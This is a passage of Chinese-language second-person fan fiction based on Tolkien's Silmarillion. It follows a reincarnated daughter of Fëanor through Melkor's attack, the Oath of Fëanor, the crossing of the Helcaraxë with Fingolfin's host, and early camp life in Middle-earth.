只可惜米尔寇的威胁起到了反作用,芬威非但没有让开,甚至抽出宝剑迎战,等费艾诺察觉到不对劲匆匆赶到宫殿的时候留给他的只有父亲冰冷的尸体。 愤怒的费艾诺再次冲出宫殿,他的眼瞳中燃烧着熊熊怒火,他的目光在黑 暗中寻找米尔寇的身影,彼时的米尔寇并未马上离开维林诺,他还有一个小心愿没有完成,那就是杀死你。 在双圣树死去后你与阿瑞蒂尔他们离开了港口,阿瑞蒂尔还有些惊慌失措,加拉德瑞尔就显得更加平静一些,或者说是表面上看起来更加冷静,她凝望着死去的双圣树,嘴唇轻轻地动了几下,“我的噩梦……就是这样的。” 但现在你们所能做的就是保护好自己的性命,玛格洛尔要送你和加拉德瑞尔还有阿瑞蒂尔去维拉那里,但在米尔寇的有意操控下,维林诺的地形也发生突变,你们脚下的地面顿时裂开,撕扯开的裂缝足足有十几米宽,瞬间将你和其他精灵分隔开。 “弥尔洛斯——!”玛格洛尔还在呼唤着你的名字,你应了一声示意自己没事,又对玛格洛尔说:“你先送她们去维拉那里,我会尽快跟过去和你们汇合的。” 玛格洛尔犹豫了一下,他又看了一眼你们之间的裂缝的距离,发现自己无论如何都无法到达你身边,而你又催促道:“快走吧,我会照顾好我自己的!” 在你如此劝说下,玛格洛尔这才带着阿瑞蒂尔和加拉德瑞尔离开,在他们走后你又开始思索自己该怎么从这里离开,你观察自己周围的地形,还没等你仔细观察一遍,你眼角的余光就扫到一道黑影落地,你猛地回过头,发现那正是许久没有出现的米尔寇。 对于他的出现你倒也不奇怪,你说:“你已经得到你想要的东西了?”话语间你的目光落在他手中的精灵宝钻项链上,后者不屑地冷哼一声,他终于褪去了虚假的伪装,露出了他的真面目。 “不,还有一件事情我没有完成。”米尔寇幽幽地说,你大概能猜到他想说什么,你在他说下一句话之前旋即抽出匕首刺向他的咽喉,现场的气氛一下子变得焦灼,米尔寇没料到你会直接动手,而且他更没想到的是你的实力远超他的想象,你的每一招都是奔着一招毙命去的,手段狠厉毒辣,就连米尔寇都被你打得措手不及。 率先出击的好处就在于你能够抢夺先机,掌控这场对决的主动权,更重要的是还能在气势上压他一头,你甚至能一边进攻一边挑衅,“我说怎么这么久没见过你了,还以为你去当缩头乌龟了,原来是去找帮手了啊。” 话语间你的轻蔑不加掩饰,化作言语的利刃刺向米尔寇,他试图夺回主动权,但是你没给他这个机会,再加上米尔寇因为需要在中土建立自己的领地,所以他的一大部分力量都留在了中土,这也是为什么你能够看似轻松地压制他。 “继续嘲讽吧,你的祖父已经死在我的手下,至于你的父亲还有哥哥,他们也都不会有好下场的。” 米尔寇原以为这样就能够威胁到你,可你听他说完这一番话仍旧不为所动,甚至连眼睛都没眨一下,再这样下去他必输无疑,想到这里,米尔寇火速结束这场战斗,因为他在这里停留的时间太久就会给那些维拉反击的机会,他得要趁着他们还没有反应过来赶紧从维林诺逃跑。 “还有你,你也不会有好下场的。”离开前,米尔寇阴沉沉地对你说。 你手里仍然握着匕首,对他说的话不屑一顾,米尔寇没有再停留,身影消散在黑暗中,在他离开不久后其他维拉也总算是反应过来了,他们安抚惊惶无措的精灵,双圣树的死去为维林诺蒙上一层绝望的阴翳,就在维拉商讨如何挽救局面的时候,愤怒的费艾诺来到诺多精灵面前,他的愤怒几乎要将他的灵魂都点燃。 他站在一众诺多精灵面前,严肃道:“各位诺多精灵们,你们的至高王死在了米尔寇手中,不,从今往后他不再是米尔寇,而是魔苟斯!” 110-120 第111章 第111章“至少弥尔洛斯现在是…… 费艾诺站在一众诺多精灵面前,火光点亮他的面庞,他的神色严肃郑重,他的话语极具煽动性,站在的精灵中的你看向费艾诺,最终命运还是沿着既定的轨道缓缓向前。 费艾诺的话说到一半,你就听见周围传来其他精灵窃窃私语的动静,他们有的赞同费艾诺的看法,认为应当为他们的至高王复仇,但有的精灵则是更加理智一些,他们还处在观望的状态,因为直觉告诉他们由于冲动而做出的决定往往会指向糟糕的结果。 说到最后,费艾诺对着维拉甚至是伊露维塔起誓,无论是谁,只要阻挠他夺回精灵宝钻,都将遭受到费诺里安的复仇,费艾诺的话语还未落下,他就将目光落在自己的儿子身上,用眼神无声地催促他们也如他一样立下誓言,你看见了站在你斜前方的迈兹洛斯,他的背影稍显僵硬,在这个时候他的内心又在想些什么呢,他会认为父亲费艾诺的做法有些不妥吗? 或许会的吧。 如果你的那些哥哥都饱受誓言的折磨,一定程度上来说对你也有好处,但是你凝望着迈兹洛斯的背影,鬼使神差地走上前,来到他的身边,牵住他的手,在他看过来的时候你轻轻地摇了摇头,“不要去。” 费艾诺仍旧在催促,包括玛格洛尔在内的其他精灵都陆陆续续地走到父亲身边,唯独迈兹洛斯迟迟不现身,这让费艾诺十分不满,他说:“你作为兄长就应该起到表率的作用。” 被你握住的那只手轻微地颤抖了一下,而后他缓缓抽回手,一步一步地走到费艾诺面前,尽管你也是费艾诺的孩子,但是此时此刻谁都不会怪罪你没有上前,因为你身为一位女精灵,确实不适合承担这么沉重的誓言,这是在场的精灵都默认的事实。 你看着火光漫上这些费诺里安的侧脸,他们脸上的表情不尽相同,凯勒巩甚至还回过头对你笑了一下,那笑容很勉强,与他平日里恣意张扬的笑容截然不同。 “他们不该对着伊露维塔起誓的。”不知是谁的声音飘到了你的耳边,你看着他们立下誓言,然后又风风火火地号召愿意踏上征途的诺多精灵跟上他们的步伐,连同芬国昐在内的第二家族精灵过了一会才跟上费艾诺的脚步,至于菲纳芬的下属以及后代,菲纳芬眉头紧锁,他对自己的下属说:“这件事情应该从长计议,切不可被一时的愤怒冲昏了头脑。” 他那些忠诚的下属都将他说的话牢记于心,可连同芬罗德在内的后代却不是那么想的,加拉德瑞尔意识到这是一个千载难逢的机会,如果错过这个机会,她很可能在接下来漫长的生命中都会为此而后悔。 为了不让自己后悔,她也毅然决然地追随着其他诺多精灵来到港口。 至于你,在迈兹洛斯即将离开的时候他又给了你一个拥抱,“弥尔洛斯,以后就只有你陪伴在母亲身边了,拜托你了……” 在迈兹洛斯的预想中你不该离开维林诺,待在母亲奈丹尼尔身边才是你的最佳选择。 你没表达自己的真实想法,只是拍拍他的后背,迈兹洛斯的声音还在轻轻地颤抖,“弥尔洛斯……”他深知自己刚才立下的誓言已经冒犯了维拉甚至是伊露维塔,日后他是否被允许回到维林诺都无法确定,或许他再也不能见到你了。 想到这里,他的双手托起你的侧脸,额头抵着你的额头,“无论如何我都爱你。” 你的喉咙像是哽住了,什么都说不出来,直到他松开手,你才叫了一声他的名字,“迈兹洛斯,我也爱你。” 迈兹洛斯的脚步顿了顿,而后又转过身奔向自己的父亲还有其他弟弟。 大概是刚才的气氛太过沉重,你抬起手擦拭自己的脸颊,发现上面还残留着一两滴眼泪,或许是迈兹洛斯留下的。 因为知道如果跟着费艾诺的队伍走很可能会被他们发现,所以你谨慎地选择跟在芬国昐的队伍后面,刚刚经历过魔苟斯袭击外加费艾诺演讲的诺多精灵们头脑发热,还没有完全冷静下来,因此你混入其中轻而易举,但随着时间的流逝,再加上中途维拉乌欧牟的劝告,这让不少精灵冷 静下来。 陆陆续续地,有的精灵因为感到后怕而停下脚步,有的精灵仍在犹豫不决,与他们形成鲜明对比的是你坚定不移向前进的步伐,你从来没有考虑过停下自己的脚步,只是当你们抵达赫尔卡拉赫海峡附近,费艾诺早已抢占了泰勒瑞精灵的所有船只驶向中土大陆,只留下芬国昐站在原地。 “他们还会回来吗?” “他们怎么把所有的船只都开走了?那我们可怎么办啊?” 芬国昐仍然在等待着抵达对岸的费艾诺派水手乘船返回带着他和他的子民离开,可是他左等右等,最后等来的是那燃烧天际的火光。 一时间芬国昐的子民,那些诺多精灵瞬间意识到自己被费艾诺欺骗了,顿时愤懑道:“费艾诺抛弃了我们!我们被他戏耍了。” 你站在愤怒的精灵中看向远方,恰在此时,负责点燃白船的迈兹洛斯也有所感应地抬起头看向那片茫茫无边际的冰川雪原,空前的悲伤围绕着他,在那片冰川上还挺留着他的挚友芬巩,很久以后他才知道不仅是芬巩,就连你也身处那片冰川。 玛格洛尔看似平静地从迈兹洛斯手里接走火把,并对他说:“还是让我来吧。”接着,他面无表情地点燃余下的船只,燃烧的火焰将空气都变得咄咄逼人。 那片火光持续了很久,在此期间芬国昐一直在和自己的孩子说些什么,最后,当最后一缕火焰消失,芬国昐也随之开口,宣布他还会继续前往中土,只不过没了船只,他们只能硬生生地穿过这片对他们来说充满未知的冰川。 这片冰川当初凯勒巩曾经在信中向你提到过,但他和自己的兄弟并没有真正踏足这片冰川,仅仅只是站在高处眺望那被白雪覆盖的风景。 在进入冰川后没多久,阿瑞蒂尔就发现了藏在队伍里的你,她一见到你就惊讶地瞪大眼了眼睛,“弥尔洛斯?你怎么会在这里?” 等等,你不应该陪伴在你的母亲奈丹尼尔身边吗?又为什么会出现在这里呢?一时间惊讶使得阿瑞蒂尔都不知道该说些什么好,你和她对视许久,你摊手,“我还是想跟着你们一起去中土看看。”更重要的是如果不去中土你又该如何得到至高王的王冠呢? 当然,你没有把那后半句真心给说出来,而阿瑞蒂尔也以为你只是因为好奇才跟上他们的队伍的,她只是在懊悔自己为什么没能早点发现你,要知道现在你想要回去可谓是难上加难。 因为无论是你还是她都没有回头的机会了,现在你们所能做的就是继续向前。 阿瑞蒂尔握住你的手,越是向北方前进,气温就越低,走到后面甚至于阿瑞蒂尔呼出的气息都会变成白雾,她说:“这件事情迈兹洛斯他们知道吗?” 她一问出这个问题就意识到他们肯定都不知道你也跟着过来了,否则费艾诺也不会命令其他精灵焚烧白船的,阿瑞蒂尔和你一直走在队尾,其他精灵为了对抗周围的风雪所以压根没空来关注你们这边的动静,这对你来说也是一件好事,因为要是被他们发现你这个费诺里安混在他们的队伍,你很难保证他们不会对你恶语相向,将对费艾诺的愤怒发泄到你身上。 “他们不知道,在他们看来我就应该乖乖待在母亲身边。”你说。 阿瑞蒂尔叹了一口气,呼出的气息又变成了一串绵长的白雾,“唉,但说到底,他们这也是为了保护你,不过,能够和你同行对我来说也是一个惊喜。” 阿瑞蒂尔的话音还未完全落下,只听见另外一道声音从你们斜前方传来,“弥尔洛斯?”你抬起头一看,原来是阿瑞蒂尔的哥哥芬巩,他见到你的表情和阿瑞蒂尔如出一辙,这不愧是兄妹,他说:“你……等一下,难道是我出现幻觉了吗?” “你觉得我们同时出现幻觉的可能性有多大?”阿瑞蒂尔严肃地问道,芬巩这才确认你的存在不是幻觉,只是现在问题就变成了你为何出现在这里,以及他之前怎么都没有发现你,阿瑞蒂尔热心地替你回答芬巩的问题,芬巩听到后面眉毛紧皱,神色凝重,他本想让你回维林诺的,可是回头看一眼就知道现在想要回去为时已晚。 因此芬巩只能认命地说:“那你和我一块走吧,免得其他精灵发现你的身份以后针对你。” 说着,芬巩走到你和阿瑞蒂尔中间,一手牵着阿瑞蒂尔,一手牵着你,你说:“他们如果针对我只能说明他们只是愤怒的懦夫,毕竟下令焚烧白船的精灵不是我。” 见你还是一如既往的伶牙俐齿,芬巩竟然感到几分轻松,毕竟他刚才还在担心你因为父亲以及兄长的所作所为而难过,但现在看来他的担心可能是多余的,他说:“事实的确如此,但其他精灵还在气头上,很可能听不进你说的话,总之……接下来你就老老实实地待在我身边吧。” 芬巩总是这样,每当你的哥哥不在场的时候他就会无比自然地承担起哥哥的责任,现在也是,但你还是得要感谢他的关心,毕竟在后来经历了一场风暴后幸存下来的精灵怨气冲天,他们又恰好发现了你的存在。 “瞧——这里还有一个费诺里安,你的父亲和哥哥怎么没有和你一道走?是他们抛下了你吗?”其他精灵带着几分恶意地问道,你面不改色地点头,认真地回答道:“是的,他们丢下了我,头也不回地,毅然决然地。” 或许是你说话的语气太平静了,那些本来想要发泄怒火的精灵也都愣了一下,他们本想在你脸上看到愤怒亦或是痛苦的神色,但是你表现得那么平静,就好像已经接受了被抛弃的事实,这反倒让他们陷入沉默,因为承认自己被抛弃本身就是一件痛苦的事情。 意识到自己说错话的精灵低声向你道歉,好在你也没工夫追究他们,因为前方的风雪越来越大了,那裹挟着大片大片雪花的寒风吹得你几乎都要睁不开眼睛了,你眯起眼睛,芬巩将自己的斗篷摘下来披在你身上,他替你整理了一下兜帽的帽檐,免得遮住你的眼睛,见他那么做,不由地问道:“那你又该怎么办?” “我不冷。”都到这时候了芬巩还在嘴硬,“而且再说了,我总不能眼睁睁地看着你受冻吧?迈兹洛斯要是知道了肯定会找我算账的。”他半开玩笑地提到了迈兹洛斯,你和他都心照不宣地没有提及现在的迈兹洛斯已经抵达中土,有时候事实就是那么尖锐,比这寒风还要难以忍受。 “那等再见到他,我会和他说你在路上有多么照顾我的。”你笑了一下,你一笑,芬巩也就跟着笑了起来,阿瑞蒂尔忽然察觉到前方发生的动静,她惊讶地说:“前面好像出了点事情——!” 说着,阿瑞蒂尔挣脱芬巩的手,径直向前跑去,你跟着阿瑞蒂尔的脚步也急匆匆地朝着前头奔跑,只见地面上赫然冒出的一个洞口,那洞口非常隐蔽,再加上风雪迷眼,精灵很难察觉到这里还有一个缺口。 等你和阿瑞蒂尔赶到的时候图尔巩正半跪在洞口,看他的架势是要下水,但是洞口太小,而且谁都不能确定这个洞口是否会再次开裂,等到时候遭殃的就不止一个精灵了。 你从图尔巩的呢喃声里确认不幸坠入洞口的精灵是他的妻子埃兰葳,阿瑞蒂尔的双眼紧盯着洞口,与此同时另外一场暴风雪正从远处呼啸而来,留给你们做决定的时间不多了,尽管芬国昐什么都没说,但从他的肢体动作还有表情就能看出来他希望图尔巩尽快撤离这里。 “但是……可是,埃兰葳……”图尔巩的声音都变得哽咽。 你瞥了一眼远方的暴风雪,其实离你们这里还有一段距离,所以只要你的动作够快的话,应当是有机会的,想着,你摘下刚才芬巩给你的斗篷,不光是斗篷,你就连外面的大衣也脱了下来,全身上下只剩下一套轻便的着装,寒风穿过你的身体,你打了个寒颤,咬咬牙,就当是为了伊缀 尔,为了这位你喜爱的精灵公主。 你的动作也自然而然地引来包括芬巩在内的其他精灵的注意,你招呼其他精灵找来绳索缠绕在你的腰间,然后打了个死结。 “你这是要做什么?”芬巩紧张地问道。 “我要做什么不是很显而易见的事情吗?”你低头检查绳结是否结实牢靠,你把绳索的另一头递到芬巩手里,终于你抬起头,对芬巩说,“待会你要紧紧握着这条绳子,当我拽两下的时候就代表我找到了埃兰葳,你要把我和她都带回来,你听明白了吗?” 芬巩当然听明白了,你这就是在冒险,拿自己的性命做赌注,可是他知道自己无法阻止你,因为你认定的事情就没有改变的余地,他只能按照你说的死死攥住绳索的另一头。 暴风雪越来越近了,你深吸一口气,一头栽进刺骨的冰水里,冰面下的水流并非静止不动,那河水在缓缓流动,甚至你游出一段距离后就被湍急的水流打了个措手不及,你调整好自己姿势,好在你之前学过潜水,在水下能够待很长一段时间。 冰面下的世界漆黑一片,你只能借助透过冰层的微弱月光寻找埃兰葳的踪影,也不知时间过去了多久,从你的状态来判断,你大概还能再坚持几分钟,你环视四周,终于,你在阴暗水下世界找到了一抹亮光,那是埃兰葳发冠上镶嵌的白晶石散发出的光芒,而此刻这光芒正指引着你来到她身边,你奋力朝她游过去,一把抓住她的胳膊,另外一只手扯了绳子两下。 站在洞口的芬巩感受到你的扯动,他没有任何犹豫地赶紧回收绳索,他甚至都不敢眨一下眼睛,直到浑身湿透的你和埃兰葳从水面下探出头来,你先把埃兰葳给推了上去,她还有心跳,应该只是太冷昏迷过去了。 等你爬到岸上,阿瑞蒂尔一把抱住你,心疼地给你擦去身上的水珠,然后急急忙忙地帮你披上大衣,在此期间她都没说一句话,这很不像平常的她平日里她总喜欢说些有的没的,就算一个再无聊的话题她也能了许多,但是她现在实在是太安静了,你套上外衣和斗篷,忍不住问道:“阿瑞蒂尔,你还好吗?” “我?我刚才——”她一开口就是止不住的哭腔,“真是担心死你了!” 你回抱住她,但这个拥抱没有持续多久,因为暴风雪将至,你们只能先找个地方躲起来,愣是等到暴风雪过去以后敢探出脑袋,阿瑞蒂尔的声音在你耳边响起,“你知道我刚才都在想什么吗?我在想我应该和你一块去水下的,我总不能让你孤身去冒险。” 你伸出拍拍她的后背,示意刚才的事情都已经过去了,阿瑞蒂尔深吸一口气,“但是……” “没有但是了,至少我把埃兰葳带回来了,否则你的哥哥肯定又得要难过好一阵子了。”你说得很有道理,阿瑞蒂尔听了以后沉默许久,你们再次起身向前走去,埃兰葳似乎已经醒过来了,泪流满面的图尔巩正牵着她的手,这对伴侣凑在一块不知道在说些什么。 你抬手擦去脸上的雪水,在这场暴风雪之后天气总算是安定了一会,至少不再有风雪肆虐的情况了,这让幸存下来的精灵恢复了一些信心,如果一直这样下去的话应该很快就会到达中土的吧。 此时已经登上中土的另外一批诺多精灵的想法与之截然不同,他们在抵达贝烈瑞安德大陆以后并没有完全放松下来,因为当他们看向北方,望向那片土地,那土地上空萦绕着的漆黑烟雾昭示着魔苟斯已经在这里建立了自己的堡垒,而他们才到达贝烈瑞安德大陆,大部分精灵都已经因为长时间的长途跋涉而疲惫不堪。 费艾诺见此情形就先在原地驻扎休息,迈兹洛斯带着其他弟弟巡视临时驻扎的营地,他一边巡视一边心里却惴惴不安,这种感觉不知从何而来,来得实在是太突然了,他皱起眉,对玛格洛尔说:“你是否感受到了不安?” 玛格洛尔惊讶地看向迈兹洛斯,在好奇他是如何读取自己的内心的,实际上从刚刚抵达中土,在他们放火烧船的时候这股不安就已经深深地扎根于他的心底,只是他无法与其他兄弟说明,他也不想说,因为事已至此,无论再说些什么都是徒劳。 “是的……这种不安一直围绕着我。”玛格洛尔低声说,他回望维林诺所在的方向,他在想此刻的你是否还在母亲奈丹尼尔的身边,是否已经从米尔寇袭击的阴影中走出来了呢? 想着想着,他就又不可避免地开始怀念在维林诺的生活,当初父亲费艾诺在众诺多精灵面前起誓的时候玛格洛尔下意识地看向你所在的地方,实际上他不怎么赞同父亲的做法,但是他不得不顺应他的决定,他望着你的背影,而你又在注视着迈兹洛斯。 玛格洛尔叹了一口气:“我不太明白,我们所做的一切是正确的吗?”还是真的如维拉所说的就只是被一时的愤怒冲昏了头脑呢?这两者之间的区别玛格洛尔分不清楚,又或者说他正在逃避面对这个问题。 迈兹洛斯勉强笑了一下,“至少弥尔洛斯现在是安全的。” 第112章 第112章“你还有什么事情要和…… 行走在冰川间的时间变得非常难熬,尤其是当你一抬眼映入眼帘的是一望无际的茫茫雪色,就算你知道这场长途跋涉最终会以成功结束,你现在还是不免感觉到了疲惫,这种疲惫不仅限于身体,更多的是来自精神上的疲惫。 感到疲惫的精灵不止你一个,就连平日里那么活泼的阿瑞蒂尔也被这环境磨得没多少表达欲了,顶多就是在你看过去的时候回你一个笑容,她说:“以前我们不是总说为什么维林诺不下雪吗?现在好了,我们可真是一次性把雪景都看了个遍。”都到这时候了她还能笑着和你开玩笑。 你说:“我们会顺利抵达中土的。”你用的是非常肯定的语气,阿瑞蒂尔抿抿唇,她多么想要相信你说的话,只是到了现在,她内心的希望也逐渐变得微弱,她握住你的手,“但愿真的能够抵达吧,真到了那时候我可得好好看一看那中土到底好在哪里。” 接下来的路途你们有一搭没一搭地聊着,偶尔加拉德瑞尔也会加入你们的对话,她没那么多话,更多时候充当的是倾听者的角色,你们三个并肩同行。 终于,你也不知道时间过去了多久,也许是几个月,也许是一两年,你们看见了冰川的边缘,你不是第一个发现冰川边缘的精灵,在你之前就有眼尖的精灵察觉到那代表希望的冰川尽头,又惊又喜地高呼起来,“那里——我看见了冰川的尽头!我们终于要走到尽头了!” 这句话划破沉闷死寂的氛围,幸存下来的精灵一个接着一个地抬起头望向远方,他们的脸上都不约而同地浮现出喜悦的神色。 越来越多的精灵小声交谈,“是真的,我也看见了冰川的尽头。” 也正是在此时,走在最前面的芬国昐吹响了银色号角,昭示着新的一批诺多精灵抵达中土,伴随着芬国昐的号角一同出现的还有洒下皎洁光芒的月亮,那是月亮第一次在中土升起。 抵达中土后你自然是要去寻找你的父亲还有哥哥的,你对于这一段历史不甚了解,因为一方面你在前面两个副本都是人类,另外一方面活下来的精灵对费诺里安没有太多好感,因此也不会在史书上详细记录关于他们的历史,这使得你只知道一个大概,比如说迈兹洛斯被魔苟斯当做俘虏的事情,这件事还是你听迈兹洛斯亲口对你说的。 他的右手也是在那次事件中失去的,自那以后他只能用左手挥剑,不过你还不太能确定现在这个时间点迈兹洛斯是否已经被魔苟斯掳走,总之,当务之急还是先找到费艾诺他们。 由于长时间在冰川上行走,许多精灵一来到中土还得花费一些时间才能缓过来,芬 国昐体谅自己的子民,便在这附近暂时驻扎下来,他同时也将你的忧虑看在眼里,他特意找到你,“等我的子民休整好,我们就会去寻找你的父亲还有哥哥,这一点你不用担心。” 说实话你毫不怀疑会放弃寻找费艾诺,说到底,他在内心深处仍对这位同父异母的兄长心存敬意和向往,所以你说:“我并没有担心这件事。” “那又是什么事情在困扰着你呢?”芬国昐又问,尽管费艾诺和他的关系并不好,可他还是发自内心地关心着你,芬巩对你的关心多半也是继承了他的父亲。 “我只是担心到时候真的找到了他们,两方精灵很可能会发生冲突,毕竟他们之前烧毁了白船,抛下了我们。” 的确,你说的事情芬国昐也有思考过,当初目睹费艾诺等精灵烧毁白船已经惹怒了不少精灵,如今他们穿过层层冰川历经千辛万苦才来到这里,这一路上他们失去了太多东西,许多精灵倒在前进的路途上,这样积攒起来的恨意恐怕会成为导火索。 “但无论怎么说我们都是亲族。”芬国昐干巴巴地说。 他说的这话估计连他自己都不相信吧,毕竟从费艾诺的言行举止就能看出看来他对这些所谓的亲族并没有多少感情,你没有戳穿芬国昐,你转而说:“是的,我们都是亲族,到时候我也会尽其所能缓和矛盾的。”因为你的身份也很特殊,而且从大局来看,这个时候精灵起内讧反而会有利于魔苟斯,所以无论如何,你都要避免这场矛盾的发生。 “弥尔洛斯,你也没必要给自己太大的压力。”芬国昐拍了拍你的肩膀,似乎是在安慰你,你不觉得这是压力,只是调解矛盾而已,你以前也经常那么做,真正给你带来压力的还是日后至高王的王冠传到了芬国昐手里。 你瞥了一眼芬国昐的额头,此时他戴着的还是普通的头冠,你想了想,在历史上迈兹洛斯是因为被芬巩解救后决定把至高王的王冠让渡给第二家族,那么如果这次解救他的是你呢?他会把王冠给你吗? 你总得试试看才知道结果如何。 芬国昐又对你说了几句宽慰的话,但你都没怎么听进去,最后芬国昐叹了一口气,他的眉宇间也透露出几分疲惫,在此之前他都表现得无比坚毅,那是因为他是其他精灵的领导者,如果连他都表现出了疲惫绝望的一面,那其他精灵又该如何坚持下去呢。 “弥尔洛斯。”芬国昐又呼唤了一声你的名字,你正准备离开帐篷,但听到他的声音你就又配合地回过头,表情无声地询问他怎么了,后者说:“你不该跟着一块来的。” “现在说这话已经太晚了吧,而且我来这里也是为了得到我想要的东西。” “你想要什么呢?” “这是个秘密。” 你离开帐篷,阿瑞蒂尔和图尔巩站在帐篷外面聊些什么,看见你出来了,阿瑞蒂尔对你挥挥手,她说:“弥尔洛斯来吃点东西吗?芬德卡诺做了蘑菇浓汤,喝一点吧,暖暖身体。”经历了冰川那一遭,阿瑞蒂尔就变得很怕冷。 阿瑞蒂尔热情地给你盛了一碗汤,你用双手捧着汤碗,没有着急喝,而是慢悠悠地吹开汤面上飘出来的白雾,蘑菇的香味萦绕在你的鼻尖,本来发冷的双手逐渐变得暖和,等不再飘白雾了,你这才喝了一口,然后在阿瑞蒂尔和图尔巩的注视下笑着说:“很好喝,我之前都没发现原来你们的哥哥厨艺那么好。” 你这话更多的是出于礼貌的夸奖,但是被芬巩听了去就当真以为你喜欢蘑菇汤,又给你留了一碗,留给你的还有一条烤兔子腿,上面刷着一层蜂蜜,表皮用炭火烤得金黄酥脆,蜂蜜的香味也被充分地激发出来。 比起蘑菇汤你果然还是更喜欢烤肉,你坐在火堆旁边静静地吃烤肉,芬巩也陪在你身边,他大概猜到了他的父亲芬国昐会和你说什么,但是他苦于找不到一个好的开场白,于是只能看了你一眼又一眼,终于,看得你主动开口,你说:“你想和我说些什么吗?” “嗯……烤肉好吃吗?”芬巩问道。 “如果没有你一直偷看我,那可能会更加美味吧。” 芬巩急忙解释,“我不是故意那么做的——” “我知道,所以你不如直接开门见山地说吧,免得我们两个互相猜来猜去的,又不是在玩什么猜谜游戏。”你的语调故作轻松,这让芬巩紧绷的神经稍微放松一些,他也跟着笑了起来,“你不是一直都不喜欢猜谜游戏吗?”、 “是啊,小时候不喜欢,现在也一如既往地不喜欢,所以还是有话直说吧。”你吃完烤肉,用手帕擦拭嘴唇,芬巩的声音在你耳边响起,他说:“我的父亲和你说了什么?是不是关于费艾诺大人的事情,实际上我们就快要去寻找他们了。” 听芬巩说话的意思,芬国昐虽然一时半会不打算迁移大部队,但他应该会先派出一些精灵组成的小队探查这周围的环境,听到这里你当即决定加入这支还未成型的先遣队,你说:“那我和你们一起去看看。” 芬巩之所以和你透露这件事只是为了安抚你,因为在他看来你现在肯定无比担心自己的父亲还有哥哥们,但他没想到自己的话起到了意想不到的作用,居然促使你也要加入这支先遣队,他连连摇头,“这不行。” “为什么不行?你认为我比你弱吗?还是我没有你那么多的勇气呢?”你追问道。 芬巩顿时卡壳,他哪里有这个意思,“我只是……只是,呃,唉,我有些后悔同你说这件事了。” “现在的我们都没有任何后悔的机会了。” 芬巩尝试告诉你如果你不幸遇难,他将会无法向迈兹洛斯交代,“无论怎么说,你也是我的妹妹。”他试图用哥哥的身份来说服你,你撇撇嘴,“我有七个亲生哥哥,你只是一个堂哥而已。” “拜托了弥尔洛斯,你这样让我很为难。” “那你就装作什么都不知道,到时候我再混入其中,这样就不会让你为难了吧?”你非常体贴地提供了一个解决方法,芬巩听了以后许久没说话,他缓慢地眨了一下眼睛,“你这是认真的还是在开玩笑?” 你放下汤碗,拍了拍他的手背,“毕竟我也想快点找到我的哥哥们,你应该也能理解我的心情吧?” 最后芬巩说不过你,只能勉强妥协,在你离开以后他仍然在后悔,早知道就不该告诉你这件事的。 尽管现在你们身处的这片区域只是暂时的营地,但精灵们都在尽可能让自己的生活变得好一些,诺多精灵的动手能力很强,他们就地取材搭建了不少简易的帐篷以此来遮风挡雨,你也正打算自己搭建一个帐篷,在原材料的准备阶段格洛芬德尔都很自然而然地替你分担了许多工作。 “你已经搭建好了自己的帐篷?”你随口一问,格洛芬德尔应了一声,他自称自己是无意间路过这里的,但他的心思都写在了脸上,你一看就知道他心里想的是什么,但你只是低下头专心致志地锯木头,然后将锯好的木头立起来用锤子敲进土地里,一半的木头都没入土地内,你触碰那条木头确认稳固性,接着如法炮制地将剩下几个木头都捶进土地里。 在帐篷搭建起来以后不光是格洛芬德尔,还有加拉德瑞尔他们也拿来了不少家具,有的是新打的,有的则是从维林诺里运送出来的,加拉德瑞尔的兄长芬罗德从维林诺离开的时候还带了不少珍宝,这也使得后来的纳国斯隆德无比富裕。 “要是还缺点什么就和我们说吧。”加拉德瑞尔轻声细语地对你说。 你看了一圈刚才还空荡荡现在都快要被填满的帐篷,目前看来没什么缺的,而且再说了,既然你要加入先遣队,那么注定不会在这个帐篷里居住太久,所以你对这居住环境也没什么可挑剔的。 格洛芬德尔也说:“你也可以和我说。” 这番话显得有些突兀,加拉德瑞尔也不觉得冒犯,反而对着格洛芬德尔笑 了一下,那笑容里带着几分揶揄,“我想弥尔洛斯肯定也能明白你的好意。” 何止是好意,他的心意就连其他精灵也都知道,所幸你的那些个哥哥不在这里,否则场面一定会变得无比混乱的。 加拉德瑞尔又和你说了几句话,后面就与哥哥芬罗德一同离开了,只留下你和格洛芬德尔站在帐篷里,你奇怪地看了看他,见他没有要走的意思,你就问:“你还有什么事情要和我说的吗?” “嗯……”格洛芬德尔只是想多看你几眼,因为在穿越冰川的时候你的身边总是被阿瑞蒂尔还有芬巩他们环绕,他甚至都找不到机会靠近你,现在他久违地能够与你单独相处,他反倒不知道该和你说些什么了,这真是糟糕,他在心里嘟哝一声。 “我不知道该说些什么,我想多看看你,可是这样或许会让你觉得烦躁,如果真的是这样,我可以马上离开。”他就和前面那两个副本一样做什么事情都会考虑是否会招致你的厌烦,但其实你对他没有那么多的厌烦,只是看多了他这副姿态你觉得不太自然而已。 或许只是同情吧,你在心里那么说,经历了两个副本的你脾气可以说是好了不少,可能是有一种预感,那预感告诉你在见到伊露维塔以后所有的事情,一切的一切都会迎来终结,所以你的内心反而有种诡异的安定感,连带着对格洛芬德尔的态度也和善了许多,你说:“我不会对你感到烦躁的,毕竟你刚才也帮助了我。” 不感到烦躁和喜欢之间根本不能画等号,格洛芬德尔无比清楚地意识到这一点,但他也知道自己的感情不会那么一帆风顺,在他看到你的第一眼他就意识到自己已经陷入了漩涡,进退两难,只能挣扎着前行。 虽然困难,但他不会因此而放弃。 “那好吧……我刚才在周围巡逻的时候看到了一处幽泉,那里的景色很美,你……要去看看吗?”当他发现那幽泉的时候他脑袋里的第一想法就是一定要带你去那里看看,否则就觉得心里空落落的,唉,他周围的精灵连带着他的好友埃克塞理安都不曾坠入过爱河,所以他们也无法解答这方面的问题,只能让格洛芬德尔自己来面对单恋中出现的情绪波动。 你拿起放在桌上的匕首别在腰间,直接走到帐篷出口,回过头问道:“你不来带路吗?难不成你真的只是向我推荐一下吗?” 听出你那半开玩笑的语气,格洛芬德尔欣然跟上你的脚步,他说:“当然不是,我会成为你的向导。” 格洛芬德尔非常喜欢这个称呼,更喜欢这个称呼前点缀的形容词,当他的话音消散以后他仍旧在内心反复回味刚才那句话。 “好了,我的向导,接下来我们应该往哪里走?”你的脚步停在营地的出口,前面有两条分叉路,都是走的精灵多了直接踩出来的,你心想你们这些精灵还真厉害,才到中土没多久就把这里建设得有模有样的。 